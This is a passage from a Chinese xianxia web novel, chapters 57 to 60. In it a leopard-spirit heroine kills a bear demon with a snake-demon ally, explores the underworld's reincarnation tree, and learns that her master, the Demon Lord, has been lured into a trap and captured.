“多说无益,来战吧!”云宛白才不给熊妖借机逃跑的机会,和蛇妖一对视之后就趁胜追了上去。 相比之下,蛇妖倒也算是个坦荡的家伙,答应了当云宛白的盟友后并没有脱战离开,而是选择继续上前助她一臂 之力。 蛇妖巨型大力,冰棘豹小巧敏捷,经过了一番磨合,二妖的配合愈发行云流水,渐渐令熊妖招架不住。 再拖下去,丧命的就是它了。 熊妖愤怒,顿时不遗余力地使出了自己的杀招。 然而云宛白和蛇妖并不怕,而是趁胜追击紧跟而上。它们都有着一个共识,那就是今天必须要把熊妖的命留在这里,如果不除,后患无穷。 从白天战至黑夜,随着月光的清辉洒在人间的那一刻,巨熊终于因失血过多含恨而终,轰然倒在了地上。 云宛白也体力不支站立不稳,浑身大大小小的伤口无数。 为了杀掉这只熊妖,她甚至用掉了自己极为重要的一张底牌,但她并不后悔。 即便到了尘埃落定的这一刻,她也依旧保持冷静,走上前狠狠补刀。 等确认熊妖真的死亡后,她才将它的尸体收进了储物吊坠,一屁股坐在地上大口喘气。 蛇妖也精疲力尽,但它的神色却兴奋不已。 因为就在刚才,云宛白把熊妖的魂魄取出丢给了它让它吞下。 众所周知,只要魂魄不散就算不上真正的死亡,凡是懂得修行且手头比较富余的妖都掌握着一两门复活的办法。 不过对于妖兽同族而言,魂魄乃大补之物,若肉身已毁,妖丹的妖力将全部转移至魂魄,等待日后复活或投胎报复,不难有东山再起的机会。 既然要杀了熊妖,云宛白自然要把事情做绝。 而这蛇妖倒也算得上一位好盟友,如果没有它配合,自己也杀不了这熊妖。而且它在蜕皮期经此恶战,怕是早已元气大伤。 既是盟友,大方点也没什么。 就看在对方品行还不错的份上,这魂魄不如给了它。 蛇妖诚惶诚恐接下,怕云宛白反悔,一口就吞入腹中修复身体,滋补已受损的妖丹。 这么一看,它不仅没亏反而还血赚。 只是这枚不知道修炼了几百年还是近千年的妖丹实在是大补,补到蛇妖一下子都有些承受不住,妖体即将不受控地进入沉眠来消化。 昏睡前,他不太信任地看向云宛白,最终两眼一黑,什么都记不清了。 …… 这一觉,无梦好眠。 蛇妖只觉得浑身暖洋洋的,与躯体永远相伴的寒冷感不复存在,这几百年来它从未这么放松过。 慢慢睁开了双眼,昏睡前的记忆也逐渐回笼。 然后,在目光所及之处,它看到了一道陌生人影,它下意识要聚起力量,准备将长尾狠狠甩出杀了面前的歹人。 “醒了啊,”云宛白继续转动木架子,专注着让火把烤鸡烧的再均匀一些,“醒了那就吃点吧。” 不对,是熟悉的声音! 蛇妖急急忙忙撤回攻击,但由于惯性使然,再加上山洞本就这么大,要想收回杀招实属不易。 就在长尾即将打飞云宛白的那一瞬间,她终于慢悠悠地抬起了秀长的手,举重若轻抓住了蛇尾,道: “还吃不吃烤鸡了?” 第57章 第57章以身相许什么的,就不用…… 在长尾被轻飘飘接住的时候,蛇妖还有些不敢置信。 它已经通过声音认出了眼前之人,就是和它合作过的冰棘豹。 但它记得清清楚楚,在自己昏睡之前,冰棘豹的实力绝对没有到能够接受自己一击的程度。 更何况自己在吞噬了妖丹之后实力大涨,对方又怎么能够在不借助外力的情况下追赶上它? 云宛白满眼都是自己面前的烤鸡,本来她想仿照叫花鸡的做法做出几个尝尝看的,只可惜没有菜谱,她仅凭着从影视剧中看来的步骤只会翻车,白白浪费了抓来的几只好鸡。 “发什么呆,睡上半个月还没睡够?” 云宛白把长尾放下,用木柴戳了戳火堆,让火烧得更旺一些。 语气间的平常让蛇妖愣了愣:“你没走吗?” 它问出了一个蠢问题。 “我走了谁给你护法,妖界除了熊妖和你,又不是没别的厉害角色。”云宛白翻了个白眼。 好不容易送盟友一场机遇,她要是拍拍屁股走人了,那和把对方推入火坑有什么区别? 她云宛白是那么没良心的人吗? 蛇妖不吭声了,将尾巴盘成一团缩在角落里,脑门上仿佛顶了三个字【已老实】 “你不运功看看吗,这熊妖的妖丹估计让你又升了一阶,连雷劫都引来了。”云宛白掰下了一块鸡肉送到嘴里品鉴,然后又撒上了一把盐。 “倒不是我自夸,若我走了,你早就被雷劫秒成渣了。” 妖族在化形期后就是结丹期零阶,不过这结丹期其实是锻造妖丹使其不断凝练增强的称呼。 从下至上,分为铜阶、银阶和金阶,每一阶都会引来雷劫,分别为三道、五道、七道,每一击都会逐渐加强。 蛇妖本就进入了结丹期,是最初始的零阶,但吞下了熊妖的妖丹之后顿时功力大涨直飞铜阶,故而引来了雷劫。 这雷劫可不同寻常,须尽全力抵抗,昏睡中的蛇妖定然撑不过三道。 谁叫云宛白生性善良呢,蛇妖是自己救下的,送佛也得送到西。 不过她没经历过雷劫,第一道雷劈下的时候也有点慌神,不得不用掉了一个防御类的保命法宝。好在她家底殷实,就算失去了一个法宝也不碍事。 而且这么算下来她一点儿也不亏,在还未进入结丹期前就经受雷劫,这对她的修行大有好处。 也正因为这一次的雷劫,她发现一个至关重要的保命点——纯净的冰不导电! 所以第二三道雷劫她直接用肉身硬抗,浑身酥酥麻麻的完全不疼,别人避之不及的雷击对她来说简直是小儿科。不仅如此,经雷电淬体之后她的身体强度直接达到了同段的顶峰,甚至跨阶挑战也完全不输。 这下她对自己今后的结丹期充满了自信,难怪在老祖宗的传承记忆里,只要过了化形期,之后修炼就是平步青云,妥妥的先难后易选手。 “雷劫?!”蛇妖大惊,赶忙检查周身情况。 但也正如冰棘豹所说,自己妖丹上结成的铜阶印记做不了假,它当真在吞下熊妖妖丹后晋升了! 不是说雷劫格外可怕,九死一生吗? 为何它毫发无伤,只觉得自己睡了特别舒服的一觉,醒来就…… 蛇妖的碧眸投向专心烤鸡的某人,心中恍然。 “多谢姑娘。”它深深地对她作揖,不禁为自己昏睡前对她的猜忌惭愧不已。 “哎,没什么,相逢即是缘,也亏得你有良心,没在联手追杀熊妖时临时脱逃或反将我一军。”云宛白大气地说道。 虽说蛇妖要是反水的话她也不怕,但多少会麻烦点。 而且说来也奇怪,明明她很讨厌蛇类这样的冷血动物,可眼前这条白蛇确实合她眼缘,救就救了。虽然耽误了一段时间,但总体上赚的还是她。 “能化形吧?我这烤鸡可不够你蛇形塞牙缝的,一起填点肚子?”云宛白向它发出了邀请。 “好。”蛇妖从善如流地应下,轻笑向前。 身姿扭动间,它如同水墨般逐渐晕开,眨眼间便缩小成了人头蛇身的半妖形态,边向前边道: “想必你就是魔尊所养的冰棘豹吧,你很出名。” 当时熊妖一提及她的族名,蛇妖一下子就想起来了,冰棘豹的圣宠之名在妖界无妖不知。 只是如此得宠,为何孤身一人来到这妖界闯荡?蛇妖心中闪过一丝疑惑。 可从冰棘豹充足的法宝和物资来看,又不像是失宠的样子,奇怪。 被加了个“魔尊的xx”前缀,云宛白并没有太多的反感,也不打算发脾气解释。 她是有自尊心,但还不至于为了这点小事赖到血冥和听众头上。 抱大腿就要有抱大腿的样,放下筷子骂娘的事她做不出来。 况且别人又不了解真相,爱说就说呗,反 正谁是谁的主子血冥心中自然有数。 “我的名气都传到妖界了啊。”云宛白笑了笑,抬起头,顿时用极为欣赏的眼神看向蛇妖。 虽然对方的化形并不完整,可白发白睫的模样一点也不吓人,反倒十分圣洁。 只不过比起神圣的气质,她的五官就邪性了许多,眼型斜飞狭长,唇却如樱桃,显得整个人十分矛盾诡魅,添了几分危险的气息。 不过这样一来,倒也符合了生活在妖界的人设。 云宛白是个颜控,她好久好久没看到这么有个性的妹子了,心中对蛇妖的好感大生,就连坐姿都正经了几分。 自觉年纪小,云宛白大方地递了一条鸡腿过去,不由得感慨:“姐姐,你可真美啊。” 原谅她语言贫乏,她当下真的想不出更文雅的夸赞了。 “你叫我……姐姐?” 蛇妖面色古怪,扑哧一声笑了出来,接过鸡腿的手倒是顺从,将尾巴盘在身下:“我可不是什么姐姐。” 这鸡腿不知撒了什么香料,香味怪勾人的,肚子不自觉地就饿了起来。小心啃了一口,果真美味。 回答冰棘豹的问题并不影响蛇妖进食,它边啃边说,优雅地像是在品尝精致的点心。 两个人形一对比,原本精致清冷的云宛白居然被衬的豪放起来了。 “我虽过了化形期,进了结丹期,可我还未曾选择性别,所以,你的这声姐姐怕是称呼错了妖。” “啊?”云宛白一愣,手里的烤鸡立马不香了。 她到这个世界之后还没了解过蛇妖这一群体,只是在曾经看过的影视剧中有过类似的耳闻。 看来书中世界也一样,蛇妖化形可以自行选择自己的性别。话说狐狸是不是也是? 想远了。 云宛白回神,心中疑惑更盛,蛇妖可都结丹铜阶期了,居然还没选择性别吗? 它们选择性别难道没有时效一说? 蛇妖见冰棘豹满脸茫然,远没有联手斗妖失的精明,这样的反差着实有趣,心中不免起了几分逗弄的心思: “不过既然你救了我,我也没什么好东西能报答你,要么我以身相许,变为男子陪在你身边,可好?” 说这话时,蛇妖不禁向冰棘豹凑近,雌雄莫辨的声音压的很低,撩人而又迷惑,好端端的气氛竟莫名暧昧了起来。 感受着耳边呼出来的热气,云宛白哈哈大笑不以为然,她完全不觉得蛇妖是在认真提议。 “少来,我救你又没什么目的,你可别玷污我们的战斗情谊。” 云宛白说的那叫一本正经,只是她搬着小板凳退后两步的样子着实欲盖弥彰。 蛇妖笑得更真心了,但也歇下了打趣的心思,十分认同冰棘豹的话。 经过了那一战,双方默契的配合令它们心中生出了惺惺相惜的友谊,说其他的倒也俗气。 “还未询问你的姓名。”蛇妖郑重道。 “我叫云宛白。” “我叫荼玉。” 有些人不需要经过时间的考验就足以认定,也不知道为什么,荼玉格外相信眼前这位好心的冰棘豹,并将自己极其珍贵的信任交给了她。 互换名字之后,二人相处的氛围便轻松了许多,在进行了一番日常的对话后,它们二人对彼此的了解也加深了不少。 不过云宛白在这里耽搁的时间已经够久了,也是时候继续踏上前往冥界的征途了。 她有自己的目标,不会无谓的停留。 荼玉思考了一会儿,提出要么它也跟着云宛白一起去冥界的请求,也好路上做伴。 但云宛白还是拒绝了这份好意。 不是她不认这个朋友嫌它碍事,只是因为这是她云宛白一个人的成长之路,必须由她独自经历。 虽然有朋友相伴会更安全,但这就会失去了历练原本的意义。 荼玉表示理解,没再坚持。 不过比起自己的安危,云宛白反而更担心荼玉。等自己离开了妖界,它该怎么办,继续留在妖界吗? “并不,”荼玉摇头,“其实在与熊妖一战之前,我便打算离开这里,去一趟妖界的西南角——帝绝海。” 它被儿时发小妖狼王狼亘,邀请前去帝绝海加入未绝妖军,一起攻打仙界魔界,为曾经发生在妖界的灭族屠戮报仇雪恨。 本来这种无异于飞蛾扑火的蠢事它绝不会参与,但狼亘说他请来了一位叛离仙界的军师共同坐镇,胜算极大。 再加上有各种法宝酬谢吸引,荼玉也就被打动了。 也可能因为它无所事事没什么目标,所以去哪儿都一样。 狼亘还说,他请来的这位军师悲天悯人,是六界最善良最好的女子,相信荼玉见了她之后也定会为她倾心,从此同他一样肝脑涂地在所不惜。 想到这里,荼玉微微一笑,那名女子它不认识,再好也同它没关系。 而眼前之人的好,它亲有体会。 不过,一位优秀的好友就不应该做让朋友感到为难的事。 既然自己无处可去,去一趟帝绝海见见世面也不错。 大不了大战结束后,它不继续留在那儿,而是换取一些报酬回来。若是自己这条命还留着的话。 相信有发小狼亘的帮腔,脱离大军应当不成问题。 到时候有了报酬,它可以再去魔界寻云宛白,送些礼物给她。 只是,作为魔尊的心尖宠,要是自己化作男性上门前去寻友的话,会不会很有趣呢? 想到这,荼玉在心中暗笑,倒也不解释自己为什么要去帝绝海。 云宛白也没问,她尊重荼玉的决定。一同前行走到了分岔路后,她向荼玉郑重告别: “有缘再见。” 云宛白从吊坠中取出了一枚红绳手链送给了荼玉。 这是她在明都小摊上买来的,红绳寓意吉利,每条红绳上挂着的吊坠都很精致小巧。 云宛白实在没法做出决定,就只好把那一沓的红绳手链都买了回来,逢人就送,也算是个社交利器。 但荼玉不知道实情啊。 这可是它几百年来第一次收到礼物,意义非同凡响。荼玉格外珍视地收了起来,向云宛白保证道: “我们一定会再见面的。” 云宛白早已背过身挥挥手,迎着荼玉的目送,头也不回地大步向前。 走喽。 …… 对云宛白来说,荼玉只是萍水相逢间结识的好友,是她旅途中的一段亮点。值得回忆,但不会让她就此停下脚步。 七天后。 冥界边缘终于显露在眼前,她已经感觉到了一股森森的寒意顺着干涸的土地和稀疏的植被逐渐蔓延过来,渗到了骨子里。 不自觉打了个怵后,云宛白这才慢一拍的反应过来。 诶,冥界…… 那不就是鬼吗?! 对于恐怖片的记忆飞速钻进了她的脑海里,她飞快眨了眨眼睛,有些紧张地握紧了爪子。 第58章 第58章轮回门,浮空树 云宛白对鬼的认知完全基于现实世界的恐怖片,隔着屏幕还好,不至于吓得尖叫掉凳,但她绝不会主动观看,最多就是在刷到短视频解说的时候停下来瞅几眼。 她也不知道自己到底害不害怕鬼,反正对于一惊一乍的东西没什么好感,连带着对于密室逃脱这样的娱乐活动也是敬谢不敏,除非零恐元素纯解密。 正因为无法预判自己在真的见鬼时会做出什么样的反应,这会儿到了冥界的边缘,她不由得停了下来。 只见前方是一片雾茫茫的天然地界屏障,就像被一堵无形的墙挡在另一端,界限分明如壁,仿佛在昭示着大家只要跨过浓雾,就会去到一个完全未知的世界。 脚下的寒意越来越冷了,这心里也有点突突的闹得慌。 但俗话说的好,来都来了,尤其自己都已经来到了冥界的边缘,距离成功只差最后一步,这时候的退堂鼓没必要敲,也不可以敲。 想想魔殿软乎乎的床榻,想想极地冰原的冰蕊蓝,还有统妖司为她准备的糕点大餐等等,这一切都近在咫尺。 最重要的是,她马上就可以回家安安心心地睡上一觉,再也不用随时保持警惕,再不用过每天都在意识空间里站岗保持浅睡眠的苦日子了。 用强有力的话语狠狠说服了自己之后,云宛白肃了肃面容,硬着头皮继续向前。 在迈入浓雾屏障的那一刻,她下意识闭上了眼。 然而等 她再度掀眸,原本的紧张却瞬间被肃穆所替代。 “原来冥界,是这个样子的……” 这里并没有她想象中的阴森恐怖,反而令人莫名生出些敬仰之心来。 她不禁驻足发出了感慨,向着远方极目而眺。 只见她的视线迅速向前推进,在眼前赫然出现一个巨大的深坑。 不,可以说冥界整体的地形就是一个向下凹陷的半球形,古怪但又合乎常理。 而现在她就站在这深坑的上边缘处,正好将整个冥界的地貌尽收眼底。再往前一步,地面便会向下向中心汇聚而去。 她俯瞰整个冥界,聚精会神地盯向最远处,不由得歪了歪头。 方才她就觉得,在踏入冥间时莫名有种神圣的祭祀之意。 而前方随着凹陷地势而建的建筑,那排布起来的模样分明是…… 祭坛?! 云宛白不由得深深吸了一口气,表情更加郑重了起来,观察的也更细致入微,并没有盲目向前。 虽然手中有地图,但由于眼前的地形特点,她完全可以在出发之前就将所有路线特点一一记住。 从正前方一些荒废的建筑风格中不难看出,在冥界也有类似于官府的机构运行。 但从它们的荒废和残破程度来看,怕是在当年的冥魔大战中,被血冥捣毁了个干净。 灰败而诡魅的建筑特色,着实令人胆颤却又惊艳。 只是,这地方这么冷清的吗?居然什么生物都没见到。 云宛白不解地摇了摇头,把地图拿了出来与眼前的景色相对应,就在这时她看到地图上有一个注脚,而且就标在冥界之旁。 【需用一目叶】 云宛白在心中跟着默念了一遍,这才忽然间想起临行前爷爷对她讲过的话。 【若是在途中遇到有什么不懂的地方,记得翻看爷爷给你备好的小锦囊】 对,锦囊。 云宛白到现在才想起有这个物件,之前一直被她收在吊坠中。 说是锦囊,但其实也是一个小型的储物袋,只不过所能储存的容量远不如自己的这枚储物吊坠。 云宛白席地而坐,拿出了锦囊伸手往里一探。 嘿,里面居然是各不相同的药材,一旁还贴心地准备了学名字条方便她辨认。 看来一目叶应当也在其中。 云宛白找了找,很快就找到了一枚与普通叶子相差无几的叶子,按照纸条上的用法先行化人,然后将其汁水挤出均匀涂抹在掌心,随后闭上眼,将双手覆于眼前。 “三,二,一……” 静待三秒之后,她将手挪开,缓缓睁开了眼眸。 她第一感觉是清凉,第二感觉是哀伤,第三感觉…… 我靠!!! 眼前怎么这么多人啊?!! 她被吓的往后退了一步,而这一后退她就看到一条虚影从她体内穿出,径直向前走去。 猛一抬头,只见四面八方飞来了无数鬼魂,他们毫无意识全凭本能行动,但目标都极为明确。 那就是相继飞向矗立在冥界中心,也就是像大祭坛造型围拱着的建筑群中,身处冥宫中央的那一棵浮树。 刚才看树的时候还不察觉,但在涂了一目叶开眼后,她才忽然惊觉那棵树的古怪之处。 她视力极好,看得真切。鬼魂浩浩荡荡穿进这树干之时,那树的轮廓分明也跟着虚晃了一下。 所以,其实这棵树也是一个虚影。 这当真是大开眼界啊。 在来之前血冥专门跟她科普了一遍,说屹立在迷宫之中的巨大浮树,便是这六界中轮回门的具象。 以前轮回门会被冥界皇室操控,为了一己之私,将鬼魂分成三六九等分批进行投胎。 但大部分魂魄都会被他们用来与仙界勾结,还利用其他几界尤其是妖界,共同形成一条极为可怕的利益链。 那些生于六界高位之人,他们会特意留出一些妖或者人的离魄之体,再来冥界挑选由各界而来的心仪魂魄塞进无主的躯体之中,培养出各种奇奇怪怪的怪物,美名其曰向天地看齐,拥有堪比造物主的能力。 不仅如此,他们还会斗“怪”,比谁造出来的怪物更厉害更听话。 若是试出一条稳定且赚头巨大的结合体,那么相结合的生物就会被源源不断地抓来,逼迫他们不停繁衍直至血脉稀释,被丢去给其他的结合母体当食物。 血冥便是由这种违背天时的试验所创造出来的怪物。 这是他当年的实验还没进行到如此丧心病狂的地步,只不过抓来妖族与人族使之相处,产生感情后自然生化而出。 后来,冥界逐渐成了名副其实的化鬼窟,有不少互不对付的仇敌族群将对方出卖,卖到了冥界当试验品。也因此,妖族的族群大为减少,乃至灭族。 不过就在血冥带魔界大军摧毁了冥界的一切罪恶之后,这里便又恢复了最初的样子。 轮回门也重现树状,安静而又忠诚地履行着它在这天地间的职责。 所以现在云宛白能够很清楚地看出魂魄之间的区别,有的浓有的淡,魂魄的凝实程度不同。 不仅如此,就像爷爷说的那样,功德越高的好人浑身冒金光,按理能投好胎。 功德越差的人冒红光,将在轮回门的审判之下入畜生道,入此道投胎之后,无论是修仙还是修魔,天然的会比变为人的难度大上很大一截。 当然,也有一些鬼魂在来了冥界之后不愿投胎。 只要他们的执念够深,便也能通过吸收轮回门外溢而出的灵气而拥有一定的意识。只是他们常常疯癫,难以沟通。 数以万计的鬼魂从四面八方向中心聚拢,无数的红光与金光相接、浓淡相伴进入了树干之中。 随着树影的晃动和低吟,那裸露在地面上的粗大树根,闪过一道道莹莹光芒植入地下,就此将魂魄轮回六界。 这一幕颇为震撼,令人头皮发麻的同时又倍感对生命的尊重和敬畏。 云宛白呆呆地望向这一幕,身体也不由得站的端正。 鬼魂不看方向,眼中只有目标,从来都按照来时之路直直的走。 所以在看到云宛白挡在它们面前时也不改道,一长队就这么直直地从她体内有条不紊地穿了过去。 虽说这并不会对她的身体造成任何影响,但这种被其他魂魄扫过灵魂的感觉实在奇妙。 树状的轮回门看着很大,似乎近在咫尺,但事实上自己与它相距的距离就跟看月亮太阳似的,实为遥远。 血冥说了,她要找的幽冥之花就生长在轮回门的附近,不难采摘。 只不过,除鬼魂之外的人一旦进入了如同祭坛状的冥宫之内,平地般的祭坛便会陡然升起形状各异的怪石,将其变成迷宫模样困杀生者。 并且迷宫内还会生出守卫石灵,且迷宫内的景物真真假假相结合,到处都是绞杀阵,凶险性极大。 而且在这里,很有可能会遇到冥界余孽,被发现可就不好办了。 云宛白不想给自己找麻烦,她果断选择了血冥的话,将魂魄离开心神匿于妖丹之内,再用秘术将其封存。 做完这些之后后,再将自 己从实体变为虚影。 两重保险加在一起后,就绝对不会触发迷宫大阵。 话是这么说,但云宛白多少还是有些心惊胆战的,直到她模仿鬼魂幽幽飘入到祭坛大阵内,周围的景象并没有发生变化后,这才确信血冥教她的秘术果真有用。 胆子回来了。 云宛白心中大定,表情也跟着舒缓了很多,这才有心思继续打探。 宿庚爷爷还给了她一本志怪杂谈,上面记录了不少六界的奇事,也介绍了一些人文风俗。 就拿冥界举例,前往此处的魂魄大多经历甚广,只要蹲的早,那打探到的可都是一手消息。 所以,会有不少生者特意跑来冥界打探消息,个个使出看家本领来躲避祭坛所设的迷宫大阵。 毕竟上有政策下有对策嘛,只要肯钻研,大家的智慧便是无穷的。 再往前十里路,就有一个专门为大家方便所设立的消息站。 云宛白好奇前往,却在那里见到了一位意料之外的人。 “魔谛门门主……也会来这里打探消息的吗?”云宛白心中闪过思忖。 她见过这位门主,还记得当初她问冥冥为何魔界不见女性身影时,冥冥特意召见了几位女性到大殿内述职,让她认过了脸。 其中她就对这位门主印象很是深刻。 无论是按照魔界审美还是通用审美,门主都算是难得一见的大美人。 虽然她身材魁梧,但眼神却很是柔和,完全看不出她是一个凶名远扬的女魔头。 只是她见这位门主的表情似乎有些僵硬,感觉像是发生了什么事情走投无路才来这里打探消息的。 她正要上前一步询问情况,就见这位门主又匆匆离开了。 奇怪,这是个什么情况? 云宛白一时间联想到了许多,她心有不安,连忙跑去刚才门主停留的消息站,决定问问情况。 第59章 第59章魔尊血冥失踪了? 临到了消息站,云宛白反而不急了。 经过刚才的观察,她发现买卖消息也有着它们独特的规矩。若是上前贸然打听的话,不仅会被当成冤大头狠宰一顿,还很有可能收获假的消息,得不偿失。 细致观察了一番,云宛白这才动了起来。 她先是以物易物,用锦囊中备了好几件的相同灵植,取其一与前来交换消息但又没那么迫切的人换取了凭证。 然后又刻意用酝痕香熏染自己的魂魄,让自己的魂体更加透明澄澈,好叫其他人闻不出她的来历更看不出她的破绽。 完全抹去魔界痕迹之后,她这才敢大摇大摆地走上前,拿出富家小姐的样子,骄横地打听起了魔界。 在装大款方面,云宛白还是很有演技的。她问出了身为不谙世事大小姐应有的蠢货模样,拿人人皆知的问题跑去消息站买消息。 旁边的人听的那叫一个捶胸顿足,心想这么简单的问题怎么不来问他们呢,真是白瞎了这么多的好宝贝,又白白便宜了消息站。 云宛白装作什么都不知情的样子,只觉得消息站又新奇又好玩,忍不住拨弄起了腰间的玉佩。 众人这才随着她的动作注意到了这枚坠饰。 嚯!这不是仙界谪云宗核心大人物们亲眷的信物吗? 这是哪家的大小姐跑下山来,还来到了冥界来? 大家都是人精,立马猜出了这位娇蛮小姐的来历,那阔绰一些确实情有可原。 有了这些铺垫,云宛白这才顺势问到了魔界,想知道魔界最近有没有出现一些大消息。 云宛白问的随意,但也故意露出了自己的倾向。 但在旁人看来,既然是仙界之人,那么专问有关魔界的问题……十分之合理啊! 消息站中负责出面接待云宛白的那人,语气顿时客气了许多,也有意向她卖个好。 “当然有,这可就是独家消息了。”站员笑了笑,他向四周扫视了一圈,挠人心弦地支起了隐秘罩,不但隔音而且还能防窥,保证消息的绝密性。 不管他人捶胸顿足的身影,站员笑道:“那咱们也就开门见山了,魔界近日可不太平啊。” “哦?”云宛白很是好奇,露出了恶作剧的笑容凑了过去,“发生了什么大好事?快说来听听。” 为了让站员讲的爽快一些,她看也没看的就将好几株珍贵的灵植丢了过去,叩桌催促。 站员笑得更开心了,连忙收下,绘声绘色讲道: “听说啊,魔界魔尊,可失踪有一日了。三门五堂上下乱成了一锅粥,急得很呢!” “不瞒您说,刚才还有一位魔界中人向我打听魔尊的下落。这,这我怎么知呀,呵呵~” “哦?”云宛白心下一急,面上笑的却更狡黠了,不由得微眯起了眼睛,“这还真是件大好事,魔尊的下落你不知?本小姐可不差钱。” 云宛白当即阔气地表示愿意买下这个消息,只要站员肯讲。 “害,不是我们不想告诉您,是真的不知道。”站员摊手,也很无奈,不过他也略带试探地反问了云宛白,“您……不知情吗?” 此话一出,云宛白瞬间知道是谁下的手了。 自己眼下扮演的可是仙界中人,站员这么一反问,就说明此事肯定跟仙界脱不了关系。 云宛白不着痕迹地按下焦急,环抱手臂仰起头冷哼了一声:“谁知道是哪几个老匹夫动的手……你少管,是我买消息还是你买消息啊,给钱吗你?” 云宛白突然意识过来自己被套路了,恼羞成怒地伸出手向他讨要。 “不敢不敢。”站员求饶,这才按下了猜疑,但他也从云宛白的口中套出了话。 看来仙界也并非团结一心,内部也有矛盾和竞争,而且动手之人并不属于这位雇主所在的势力。 “不过,看您出手如此阔绰的份上,小站就额外再送您一个消息,您息息怒嘛。” “说。”云宛白没好气地瞪了他一眼。 “我们打听到,魔尊失踪前收到了一封匿名信,信中似乎夹着什么信物,好像是……他养的那头冰棘豹的断掌,噫,恐怖的很。” “后来魔尊就消失了,而他最后现身的地方是妖界的中心,只可惜魔族把那儿附近翻了个底朝天也没找到任何跟魔尊有关的痕迹,真是怪也,怪也。” “算你识相。” 云宛白勉强接受了这个附赠的消息,装出不悦的样子反身离开。 待她走出消息站,远离大众的视线之后这才越跑越快,直至变回冰棘豹,往幽冥之花的反方向疯狂奔去。 她现在哪里还管什么任务不任务的,神色中的慌张惊疑尽数暴露了出来。 居然有人利用她骗血冥,这让冥冥怎么冷静? 难怪魔谛门门主一脸难色,还跑到冥界来买消息,看来血冥当真失踪许久,实在是走投无路了。 可是,这几个月她并没有发现任何人在跟踪她,更不用说能够取得她的毛发和血肉了。 这种东西但凡不新鲜,血冥都不可能上当? 还有,魔界人士并非无能,怎么会毫无线索,魔界已经束手无策到了这种地步了吗? 我不信,我一定要亲自查探! 云宛白眸色坚定,飞速赶往妖界。 正如血冥会因她的安危而坠入危险,云宛白同样也会因为血冥的危急抛下一切。 她丝毫不怀疑彼此之间的信任,换做是她,若有人以对方的性命相逼,刀山火海她也一样会去闯。 无关风月,已是家人。 她不是没有想过动用吊坠中的魔藤飞舟,只是飞舟动静太大,极容易被人发现。没找到血冥倒还好,但万一找到了,她反而会把敌人引向血冥招来祸患。 所以她只能靠自己全速奔跑,也不管路上历练,见到挡路的妖物直接避开绕路绝不死战,若是遇到极不识相的,她上来便是杀招将其斩杀。 不是她不自量力,妄想以一人之力挑战整个魔界。只是她和冥冥之间有着他们自己的暗号,这一点魔谛门绝对不了解。 所以,没准她真的能找到血冥。 …… 时间倒回到一个月前。 极地冰原寄来了一封匿名信函,指明要魔尊血冥打开,上面写着说冰棘豹已被他们挟持,要想带回它,魔尊血冥就必须独自一人前往某地。 血冥不信,这明显是有人利用他和冰棘豹的信息链暂时断联,伪造成她出事骗自己上钩。 他本打算假装配合上当,已身入局试探对方的计谋,但这一切都在他看到对方寄来的新物件而破灭。 只见那枚锦囊之中存放着一个圆形凝脂,而凝脂中正封存着一只断掌,无论是断掌的血肉气息还是手背上的毛发,都完全属于乖乖,做不了假。 血冥顿时慌了神,在那一瞬间失去了应有的判断。 明知中计假装配合,和当真心急如焚掉进了圈套,这两者的差别非常之大。 虽然自己送给乖乖的保命法宝并未触发,可万一对方就是想要折磨乖乖,却又不致死呢? 所有的冷静在遇到乖乖之后都化为了乌有,血冥忍不住往最坏的结果方向去想。 而他这种心理,就正好中了幕后之人的计,一个专门针对他的杀局。 云宛白一边奔跑一边思考,接连几天几夜都没有合上眼睛,即便身体不济也强行通过生嚼灵植的方式来补充体力,好让自己继续奔跑下去。 不过这一路迎风狂奔下来,越想她的思路就越清明,她追溯从前,不禁有了一个大胆的猜测。 也就是说,当时她在明都因追查记号而遭到暗杀,其实醉翁之意根本在酒,一切都是为了引她上钩,从而钓出她背后的血冥。 而当时那道神秘的虚影,为什么不伤她性命,只是将她抓伤,她如今也有了判断。 这也是她去了一趟冥界之后才想到的。 冥界在被灭之前,不就专门做这种勾当吗? 他们可以利用魂魄、毛发、血肉、躯体等一系列东西,试验性地造出怪物胚胎然后进行催熟。 只不过所需用品不全,胚胎不可能成活,但是慢慢发育成死胎还是有可能的。 所以,她当时被虚影戏耍的理由就成立了,对方只管抓伤她,留下她的毛发和皮肉组织,等回到冥界之后用于实验,做成与她同源同脉的断掌。 相同的气息和毛发,自然会骗过血冥。 全部都捋顺了,云宛白确信这就是真相。 她的表情愈发凝重,逼着自己强行冷静下来。 首先,出手的人必是仙界,他们之所以在这个节骨眼针对血冥,为的就是擒贼先擒王,让仙魔大战中的魔族群龙无首,故不战而败。 如此一来,就可以不费一兵一卒将全天下收入囊中。 真是好计谋啊。 毕竟这样一来,他们只需仿照出自己的信物来对付血冥即可。比起派兵征战,代价太轻了。 云宛白咬牙切齿,更对仙界嗤之以鼻。这不仅仅为了自己日后的性命和自由,更为了魔族,为了人间。 最重要的是,一个因她安危而不顾性命的家伙,就算是书中的反派男二,也不可以就这么窝窝囊囊地死去。 快了,还有半日就快赶到妖界中心了。 云宛白的四肢早已奔跑麻木,指甲也跑到崩血干涸而不自知。 她必须要找到血冥,她一定可以找到血冥。 因她而死这种事情,她不允许,也负担不起。 —— “哈哈哈哈总算是抓到你了,魔尊大人。” 血冥被泼了一身水后幽幽转醒,却发现自己被囚禁于阴暗的牢笼之中,双手双脚被锁链高高吊起,令他悬浮于空中动弹不得。 轻轻一动,锁链越捆越紧,将他的手腕脚腕都勒出了血痕。 血冥自知中计,冷笑了一声不再挣扎。 想必这就是仙界专门为他打造的缚魔链,可以将他捆住,令他动弹不得。 只可惜,离打造出真正的神兵利器伏魔链还有不小的距离,想要借此杀死他……呵,不可能。 不过,血冥何尝没有留一手。 他早就备好了一缕来自赤凌峰上的仙雾,此雾在脱离山峰之后就会无色无味无声无息。除了神思渺,谁也无法察觉。 他垂头,随着指尖将其悄然放出,面上显出几分恼怒,瞪向来人: “你可知背叛魔族的下场?” 第60章 第60章试探是要付出代价的【妇…… “下场?能有什么下场?” 那人哈哈大笑,看向血冥的眼神格外不敬:“等你死了,仙界一统天下,我的地位只会跟着水-涨-船-高!就不劳您费心了。” 血冥眸色渐冷,嗤笑了一声:“魔耳堂堂主真是好本事,想必魔眼堂不是没本事,而是你把他们搜集来的线索给昧下了吧。” 魔谛门下有两堂,一个魔眼堂,专门负责情报的收集;另一个就是魔耳堂,专门负责将情报收集起来,上传至魔谛门总处。 两堂缺一不可,重要程度不分高下。 “魔尊高见,确实如此。” 前魔耳堂堂主,现仙恩堂副堂主巳镜对血冥得意地点了点头。 他好心情的走向前扯了扯链子,将魔尊的四肢拉得更紧之后,又特意拉了一把椅子坐下,神态怡然自得。 